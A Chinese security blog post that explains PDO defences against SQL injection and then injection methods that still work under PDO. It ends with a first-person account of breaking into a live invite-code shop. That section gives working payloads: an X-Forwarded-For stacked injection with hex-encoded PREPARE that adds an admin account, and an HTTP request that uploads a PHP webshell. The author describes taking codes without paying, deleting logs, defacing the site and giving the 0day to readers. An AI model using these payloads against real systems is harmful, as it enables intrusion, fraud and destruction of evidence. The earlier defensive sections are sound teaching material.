从PDO下的注入思路到Git 2000 Star项目0day

字数统计: 6k字   |   阅读时长≈ 25分

从PDO下的注入思路到Git 2000 Star项目0day

0x01 PDO简介

PDO全名PHP Data Object

PDO扩展为PHP访问数据库定义了一个轻量级的一致接口。PDO提供了一个数据访问抽象层，这意味着，不管使用哪种数据库，都可以使用相同的函数（方法）来查询和获取数据。

PHP连接MySQL数据库有三种方式（MySQL、Mysqli、PDO），列表性比较如下：

MysqliPDOMySQL
引入的PHP版本5.05.03.0之前
PHP5.x是否包含是是是
服务端prepare语句的支持情况是是否
客户端prepare语句的支持情况否是否
存储过程支持情况是是否
多语句执行支持情况是大多数否

如需在php中使用pdo扩展，需要在php.ini文件中进行配置

image-20210525185836740

0x02 PDO防范SQL注入

①调用方法转义特殊字符

quote()方法(这种方法的原理跟addslashes差不多，都是转义)

PDO类库的quate()方法会将输入字符串（如果需要）周围加上引号，并在输入字符串内转义特殊字符。

EG①:

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');
/* Dangerous string */
$string = 'Naughty ' string';
print "Unquoted string: $stringn";
print "Quoted string:" . $conn->quote($string) . "n";
?>

输出

Unquoted string: Naughty ' string
Quoted string: 'Naughty '' string'

EG②

test.sql

SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;
-- ----------------------------
-- Table structure for user
-- ----------------------------
DROP TABLE IF EXISTS `user`;
CREATE TABLE `user`  (
  `id` int(10) NOT NULL,
  `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL,
  `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL
) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;
-- ----------------------------
-- Records of user
-- ----------------------------
INSERT INTO `user` VALUES (0, 'admin', 'admin');
INSERT INTO `user` VALUES (1, 'user', 'user');
SET FOREIGN_KEY_CHECKS = 1;

pdo.php

<?php
header('content-type=text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GET['password'];
try{
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
 $username=$pdo->quote($username);
 $password=$pdo->quote($password);
$sql="select * from user where username={$username} and password={$password}";
echo $sql."</br>";
$row=$pdo->query($sql);
foreach ($row as $key => $value) {
print_r($value);
}
}catch(POOException $e){
echo $e->getMessage();
}

访问http://localhost/pdo.php?username=admin&password=admin

image-20210525134031957

当我们使用单引号探测注入时

image-20210525134219905

如图，单引号已被反斜线转义

②预编译语句

1、占位符-通过命名参数防止注入

通过命名参数防止注入的方法会使得程序在执行SQL语句时，将会把参数值当成一个字符串整体来进行处理，即使参数值中包含单引号，也会把单引号当成单引号字符，而不是字符串的起止符。这样就在某种程度上消除了SQL注入攻击的条件。

将原来的SQL查询语句改为

Select * from where name=:username and password=:password

prepare方法进行SQL语句预编译

最后通过调用rowCount()方法，查看返回受sql语句影响的行数

返回0语句执行失败，大于等于1，则表示语句执行成功。

All code

<?php
header('content-type:text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GET['password'];
try{
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$sql='select * from user where name=:username and password=:password';
$stmt=$pdo->prepare($sql);
$stmt->execute(array(":username"=>$username,":password"=>$password));
echo $stmt->rowCount();
}catch(PDOException $e){
echo $e->getMessage();
}
?>

查询成功

查询成功

注入失败

image-20210525140039170

2、占位符-通过问号占位符防止注入

把SQL语句再进行修改

select * from user where name=? and password=?

同上，prepare方法进行SQL语句预编译

最后调用rowCount()方法，查看返回受sql语句影响的行数

<?
header('content-type:text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GET['password'];
try{
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$sql="select * from user where username=? and password=?";
$stmt=$pdo->prepare($sql);
$stmt->execute(array($username,$password));
echo $stmt->rowCount();
}catch(PDOException $e){
echo $e->getMessage();
}
?>

效果同上

查询成功

查询成功

注入失败

image-20210525140039170

3.通过bindParam()方法绑定参数防御SQL注入

修改语句部分

$sql='select * from user where name=:username and password=:password';
$stmt=$pdo->prepare($sql);
$stmt->bindParam(":username",$username,PDO::PARAM_STR);
$stmt->bindParam(":password",$password,PDO::PARAM_STR);

解释：
a)：:username 和 :password为命名参数
b)：$username;$password为获取的变量，即用户名和密码。
c)：PDO::PARAM_STR,表示参数变量的值一定要为字符串，即绑定参数类型为字符串。在bindparam()方法中，默认绑定的参数类型就是字符串。

当你要接受int型数据的时候可以绑定参数为PDO::PARAM_INT.

<?php
header('content-type:text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GETT['password'];
try{
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$sql='select * from user where name=:username and password=:password';
$stmt=$pdo->prepare($sql);
$stmt->bindParam(":username",$username,PDO::PARAM_STR);
$stmt->bindParam(":password",$password,PDO::PARAM_STR);
$stmt->execute();
echo $stmt->rowCount();
}catch(PDOException $e){
echo $e->getMessage();
}
?>

效果同上

查询成功

查询成功

注入失败

image-20210525140039170

这只是总结了一部分PDO防范SQL注入的方法，仍有方法请见下文

其他手法还有很多，大家感兴趣的话可以自行研究

0x03 PDO下的注入手法与思考

读完前文后，读者们可能不由感叹，真狠啊，什么都tmd转义，什么语句都预编译了，这我tmd注入个毛...

image-20210525143226397

img

北宋宰相王安石有言“看似寻常最奇崛,成如容易却艰辛”

让我们抽丝剥茧来探寻PDO下的注入手法

目前在PDO下，比较通用的手法主要有如下两种

①宽字节注入

注入的原理就不讲了，相信大家都知道

一张图，清晰明了

image-20210525144401689

当Mysql数据库my.ini文件中设置编码为gbk时，

我们的PHP程序哪怕使用了addslashes()，PDO::quote，mysql_real_escape_string()、mysql_escape_string()等函数、方法，或配置了magic_quotes_gpc=on，依然可以通过构造%df'的方法绕过转义

②堆叠注入与报错注入

PDO分为模拟预处理和非模拟预处理。

模拟预处理是防止某些数据库不支持预处理而设置的，也是众多注入的元凶

在初始化PDO驱动时，可以设置一项参数，PDO::ATTR_EMULATE_PREPARES，作用是打开模拟预处理(true)或者关闭(false),默认为true。

PDO内部会模拟参数绑定的过程，SQL语句是在最后execute()的时候才发送给数据库执行。

非模拟预处理则是通过数据库服务器来进行预处理动作，主要分为两步：

第一步是prepare阶段，发送SQL语句模板到数据库服务器；

第二步通过execute()函数发送占位符参数给数据库服务器执行。

PDO产生安全问题的主要设置如下：

> PDO::ATTR_EMULATE_PREPARES //模拟预处理(默认开启)
>
> PDO::ATTR_ERRMODE //报错
>
> PDO::MYSQL_ATTR_MULTI_STATEMENTS //允许多句执行(默认开启)

PDO默认是允许多句执行和模拟预编译的，在用户输入参数可控的情况下，会导致堆叠注入。

2.1 没有过滤的堆叠注入情况

<?php
header('content-type=text/html;charset=utf-8');
$username=$_GET['username'];
$password=$_GET['password'];
try{
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$sql="select * from user where username='{$username}' and password='{$password}'";
echo $sql."</br>";
$row=$pdo->query($sql);
foreach ($row as $key => $value) {
print_r($value);
}
}catch(POOException $e){
echo $e->getMessage();
}

因为在$pdo>query()执行之前，我们便可以对$sql进行非法操作，那PDO相当于没用

image-20210525161109702

image-20210525160856876

如果想禁止多语句执行，可在创建PDO实例时将PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为false

new PDO($dsn, $user, $pass, array(PDO::MYSQL_ATTR_MULTI_STATEMENTS => false))

但是哪怕禁止了多语句执行，也只是防范了堆叠注入而已，直接union即可

image-20210525191231332

2.2 模拟预处理的情况

<?php
try {
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
//$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$username = $_GET['username'];
$sql = "select id,".$_GET['role']." from user where username = ?";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(1,$username);
$stmt->execute();
while($row=$stmt->fetch(PDO::FETCH_ASSOC))
{
var_dump($row);
echo "<br>";
}
} catch (PDOException $e) {
echo $e;
}

$role是可控的，导致可实现堆叠注入和in line query

image-20210526015752434

image-20210526005239112

2.3当设置PDO::ATTR_ERRMODE和PDO::ERRMODE_EXCEPTION开启报错时

设置方法

$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

无论是否开启PDO::ATTR_EMULATE_PREPARES-模拟预处理

此时SQL语句如果产生报错，PDO则会将报错抛出

除设置错误码之外，PDO 还将抛出一个 PDOException 异常类并设置它的属性来反射错误码和错误信息。

此设置在调试期间也非常有用，因为它会有效地放大脚本中产生错误的点，从而可以非常快速地指出代码中有问题的潜在区域

在这种情况下可以实现error-based SQL Injection

使用GTID_SUBSET函数进行报错注入

http://192.168.1.3/pdo.php?role=id OR GTID_SUBSET(CONCAT((MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,190))),6700)&username=admin&username=admin

image-20210526013121010

2.4 非模拟预处理的情况

<?php
try {
$pdo=new PDO('mysql:host=localhost;dbname=test','root','root');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$username = $_GET['username'];
$sql = "select id,".$_GET['role']." from user where username = ?";
$stmt = $pdo->prepare($sql);
$stmt->bindParam(1,$username);
$stmt->execute();
while($row=$stmt->fetch(PDO::FETCH_ASSOC))
{
var_dump($row);
echo "<br>";
}
} catch (PDOException $e) {
echo $e;
}

此时堆叠注入已经歇逼

image-20210526015916363

但inline query，报错注入依然坚挺可用

image-20210526014840025

③一个安全的case

只要语句内存在有用户非纯字符可控部分，便不够安全；那我们就用非模拟预处理sql写法

$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

它会告诉 PDO 禁用模拟预处理语句，并使用 real parepared statements 。

这可以确保SQL语句和相应的值在传递到mysql服务器之前是不会被PHP解析的（禁止了所有可能的恶意SQL注入攻击）。

如下为一个安全使用PDO的case

$pdo = new PDO('mysql:dbname=testdatabase;host=localhost;charset=utf8', 'root', 'root');
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$stmt = $pdo->prepare('SELECT * FROM wz_admin WHERE id = :id');
$stmt->execute(array('id' => $id));
print_r($stmt -> fetchAll ());
exit();

> 当调用 prepare() 时，查询语句已经发送给了数据库服务器，此时只有占位符
>
> 发送过去，没有用户提交的数据；当调用到 execute()时，用户提交过来的值才会传送给数据库，它们是分开传送的，两者独立的，SQL注入攻击者没有一点机会

0x04 案例剖析-ThinkPHP5中PDO导致的一个鸡肋注入(来自Phithon师傅)

我们来看Phithon师傅几年前博客发的一个case

https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

<?php
namespace app\index\controller;
use app\index\model\User;
class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
}
}

如上述代码，如果我们控制了in语句的值位置，即可通过传入一个数组，来造成SQL注入漏洞。

文中已有分析，我就不多说了，但说一下为什么这是一个SQL注入漏洞。IN操作代码如下：

<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
// 处理带非单词字符的字段名
$bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
// IN 查询
if ($value instanceof \Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$value = is_array($value) ? $value : explode(',', $value);
if (array_key_exists($field, $binds)) {
$bind  = [];
$array = [];
foreach ($value as $k => $v) {
if ($this->query->isBind($bindName . '_in_' . $k)) {
$bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
} else {
$bindKey = $bindName . '_in_' . $k;
}
$bind[$bindKey] = [$v, $bindType];
$array[]= ':' . $bindKey;
}
$this->query->bind($bind);
$zone = implode(',', $array);
} else {
$zone = implode(',', $this->parseValue($value, $field));
}
$whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
}

可见，$bindName在前边进行了一次检测，正常来说是不会出现漏洞的。但如果$value是一个数组的情况下，这里会遍历$value，并将$k拼接进$bindName。

也就是说，我们控制了预编译SQL语句中的键名，也就说我们控制了预编译的SQL语句，这理论上是一个SQL注入漏洞。那么，为什么原文中说测试SQL注入失败呢？

这就是涉及到预编译的执行过程了。通常，PDO预编译执行过程分三步：

  1. prepare($SQL) 编译SQL语句
  2. bindValue($param, $value) 将value绑定到param的位置上
  3. execute() 执行

这个漏洞实际上就是控制了第二步的$param变量，这个变量如果是一个SQL语句的话，那么在第二步的时候是会抛出错误的：

sp170704_025805.png

所以，这个错误“似乎”导致整个过程执行不到第三步，也就没法进行注入了。

但实际上，在预编译的时候，也就是第一步即可利用。我们可以做有一个实验。编写如下代码：

<?php
$params = [
PDO::ATTR_ERRMODE   => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES  => false,
];
$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);
try {
$link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (\PDOException $e) {
var_dump($e);
}

执行发现，虽然我只调用了prepare函数，但原SQL语句中的报错已经成功执行：

sp170704_032524.png

究其原因，是因为我这里设置了PDO::ATTR_EMULATE_PREPARES => false。

这个选项涉及到PDO的“预处理”机制：因为不是所有数据库驱动都支持SQL预编译，所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理，那么PDO内部会模拟参数绑定的过程，SQL语句是在最后execute()的时候才发送给数据库执行；如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false，那么PDO不会模拟预处理，参数化绑定的整个过程都是和Mysql交互进行的。

非模拟预处理的情况下，参数化绑定过程分两步：第一步是prepare阶段，发送带有占位符的sql语句到mysql服务器（parsing->resolution），第二步是多次发送占位符参数给mysql服务器进行执行（多次执行optimization->execution）。

这时，假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了，那么就会直接由mysql那边抛出异常，不会再执行第二步。我们看看ThinkPHP5的默认配置：

...
// PDO连接参数
protected $params = [
PDO::ATTR_CASE  => PDO::CASE_NATURAL,
PDO::ATTR_ERRMODE   => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_ORACLE_NULLS  => PDO::NULL_NATURAL,
PDO::ATTR_STRINGIFY_FETCHES => false,
PDO::ATTR_EMULATE_PREPARES  => false,
];
...

可见，这里的确设置了PDO::ATTR_EMULATE_PREPARES => false。所以，终上所述，我构造如下POC，即可利用报错注入，获取user()信息：

http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

sp170704_021313.png

但是，如果你将user()改成一个子查询语句，那么结果又会爆出Invalid parameter number: parameter was not defined的错误。

因为没有过多研究，说一下我猜测：预编译的确是mysql服务端进行的，但是预编译的过程是不接触数据的 ，也就是说不会从表中将真实数据取出来，所以使用子查询的情况下不会触发报错；虽然预编译的过程不接触数据，但类似user()这样的数据库函数的值还是将会编译进SQL语句，所以这里执行并爆了出来。

0x05 实战案例-从cl社区激活码到Git 2000+ Star项目0day

5.1 起因

挖SRC，做项目做的心生烦闷，前几日忍不住在家看1024(cl)社区，越看越来劲，邪火攻心，想搜片看

奈何cl社区一向奉行邀请制，邀请码又很难搞到，可谓让人十分不爽

于是本人去google上找了一个卖1024社区邀请码的站

image-20210526023044553

88块钱....虽然不算贵，但售卖这种东西本来就是不受法律保护的。作为一个JB小子，怎么可能不动点白嫖心思？

在黑盒测试了一段时间后，发现支付逻辑和前台都没什么安全问题。。难道我真的要花钱买这激活码？？？？

不可能，绝对不可能。

看到网站底部有一个Powered by xxx，呵呵呵，好家伙，不出意外这应该就是这个站用的CMS系统了

image-20210526023227963

去Git上一搜，还真有，2000多个Star，作者维护了好几年，也算是个成熟的项目了。

直接把最新版源码下载下来，丢进PHPstorm里开始审计

5.2 从审计思路到PDO导致的前台XFF堆叠注入

就我个人而言，拿到一套源码，我更喜欢黑白盒相结合；根据前台能访问到的功能点来确定自己审计的目标

简单看了一下整套系统是MVC架构的，使用了PDO，使用有部分过滤规则；后台默认路径是/admin

看了一遍前台的功能点，发现在查询订单处路径名很有趣，带有一个/query，直接搜一下页面上关键词，跟进入到源码中

image-20210526024734021

发现了如下的一段code

image-20210526025356848

PDO均为默认配置，立马想到了堆叠注入

经测试orderid用户可控，全局搜索orderid发现，orderid经函数方法后被处理为纯字符串，没有注入余地，故选择另辟蹊径

后发现ip参数用户同样可控，在调用select方法前没做任何处理。

ip参数调用的是getClientIP方法，我们跟一下getClientIP方法

image-20210526030817917

很好理解，就是从常见的http header中获取客户端IP

但是非常高兴，ip参数未做任何处理，我们可以通过构造XFF头来实现堆叠注入

因为有csrf_token的校验，我们必须在查询订单的页面，随便输入个订单号，随后输入正确的验证码，随后查询才有效

随后手动构造XFF头，进行针对PDO的堆叠注入

因为PDO处为双引号进行语句闭合，且属于无回显的堆叠注入

故构造Payload为

X-FORWARDED-For:1';select sleep(5)#

image-20210526202008945

延迟了5s，注入成功。

针对这种没回显的堆叠注入，盲注太慢，用Dnslog OOB又太慢，所以选择构造一个添加后台管理员的insert payload

X-FORWARDED-For:1“;insert into t_admin_user values(99,"test@test.test","76b1807fc1c914f15588520b0833fbc3","78e055",0);

但是现实是很残酷的，测试发现，在XFF头中，1"将语句闭合后只要出现了引号或者逗号，就会引发报错，SQL语句无法执行

但是具有一定审计经验的兄弟一定会想到，PDO下Prepare Statement给我们提供了绕过过滤进行注入的沃土

山重水复疑无路，柳暗花明又一村

5.3 Prepare Statement构造注入语句

知识补充 --- Prepare Statement写法

MySQL官方将prepare、execute、deallocate统称为PREPARE STATEMENT(预处理)

预制语句的SQL语法基于三个SQL语句：

prepare stmt_name from preparable_stmt;
execute stmt_name [using @var_name [, @var_name] ...];
{deallocate | drop} prepare stmt_name;

给出MYSQL中两个简单的demo

set@a="select user()";PREPARE a FROM @a;execute a;select sleep(3);#
set@a=0x73656C65637420757365722829;PREPARE a FROM @a;execute a;select sleep(3);#  
//73656C65637420757365722829为select user() 16进制编码后的字符串，前面再加上0x声明这是一个16进制字符串

Prepare语句在防范SQL注入方面起到了非常大的作用，但是对于SQL注入攻击却也提供了新的手段。

Prepare语句最大的特点就是它可以将16进制串转为语句字符串并执行。如果我们发现了一个存在堆叠注入的场景，但过滤非常严格，便可以使用prepare语句进行绕过。

将我们的insert语句直接hex编码

image-20210526200448332

构造注入语句

X-FORWARDED-For:1";set@a=0x696E7365727420696E746F20745F61646D696E5F757365722076616C7565732839392C227465737440746573742E74657374222C223736623138303766633163393134663135353838353230623038333366626333222C22373865303535222C30293B;PREPARE a FROM @a;execute a;select sleep(3);#
//sleep用于判断注入是否成功

image-20210526201816276

延时3s，注入成功，成功添加了一个账号为test@test.test，密码为123456的后台管理员

直接默认后台路径/admin登录后台

image-20210526202209072

前台提交一个cl社区邀请码的订单

后台修改订单状态为确认付款

image-20210526202525849

没过一会，邀请码直接到邮箱

image-20210526202705629

以后可以搜片看了

image-20210526202913110

ä¿å­ä¿å­å¨é¨ä¿å­ï¼ç»§ç»­ååï¼

5.4 不讲武德被发现

在不讲武德，连续薅了几个邀请码，发给朋友后

站长终于发现了

image-20210526203058983

八嘎，既然发现了，那就干脆把你的站日下来吧，然后好好擦擦屁股，免得0day被这站长抓走

çå°´å°¬å

5.5 后台Getshell审计(Thanks 17@M78sec)

经测试后台的文件上传处鉴权比较严格，没法直接前台getshell

但是后台文件上传处，没有对文件扩展名进行任何过滤，只有一处前端js校验，所以后台getshell直接白给

image-20210526205833957

文件上传后不会返回上传路径，但上传路径和上传文件的命名规则我们已经了如指掌

image-20210526204139761

UPLOAD_PATH定义如下

define('UPLOAD_PATH', APP_PATH.'/public/res/upload/');

CUR_DATE定义如下

define('CUR_DATE', date('Y-m-d'));

文件名

$filename=date("His");  //小时+分钟+秒

以我现在21点05分钟为例，输出结果如下

image-20210526210650296

以2021年5月26日的21点05分44秒为例

完整的文件路径即为

http://www.xxx.com/res/upload/2021-05-26/210444.php

直接构造表单

<meta charset="utf-8">
<form action="http://xxx.top/Admin/products/imgurlajax" method="post" enctype="multipart/form-data">
<label for="file">File:</label>
<input type="file" name="file" id="file" />
<input type="text" name="pid" id="pid" />  <--! pid记得自行修改为商品的id(后台选择商品抓包即可获取)--></--!>
<input type="submit" value="Upload" />
</form>

同时需要添加Referer: http://xxx.top/Admin/products/imgurl/?id=1,并修改下方的

否则会提示“请选择商品id”

最后完整的上传http request如下

POST http://xxx.top/Admin/products/imgurlajax HTTP/1.1
Host: xxxx
Content-Length: 291
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeSrhtSPGxub0H0eb
Origin: http://47.105.132.207
Referer: http://xxx.top/Admin/products/imgurl/?id=12
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=ql4ep5uk8cf9i0rvihrruuilaq
Connection: close
------WebKitFormBoundaryeSrhtSPGxub0H0eb
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
<?php
phpinfo();
------WebKitFormBoundaryeSrhtSPGxub0H0eb
Content-Disposition: form-data; name="pid"
12
------WebKitFormBoundaryeSrhtSPGxub0H0eb--

直接上传成功

随后通过burpsuite Intruder来跑一下最后的秒数

毕竟秒数不能拿捏的那么精准

image-20210526212753095

image-20210526233749316

直接拿捏。

把web日志清理掉

然后给public index页面加点乐子

image-20210526234200023

传统功夫，点到为止。

image-20210526234615393

0x06 总结

本文主要介绍了通过PDO防范SQL注入的方法和PDO中的注入利用思路，并给大家带来了一个0day实例

你会发现层层抽丝剥茧研究一个模块，并将其中的姿势应用于实战中，是一件很美妙的事情。

相信师傅们是很容易定位到出现本0day的系统的，这个0day就算白送各位师傅的了，希望师傅们也早日成为1024社区会员

img

0x07 Refence：

https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

https://blog.51cto.com/u_12332766/2137035

https://xz.aliyun.com/t/3950


赏

谢谢你请我吃糖果

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

俗话说“好记性不如烂笔头”，各个安全社区各自为战，当我们想要搜索某一方面的文章的时候总是得在各个平台之间来回横跳，于是乎，一个平台文章聚合搜索的想法诞生了。
然后正好我想有一个自己的博客，于是乎两者融合在了一起。
下面简单介绍各个导航的区别：
个人文章：本人的笔记、复现、总结等或者本人参与的共同创作。
收集文章：手工从公众号收集保存的文章，更新频率看本人喜好所以比较慢。
聚合文章：从各大平台收集整理，由工具实现，每天更新。
很惭愧，只做了一点微小的工作。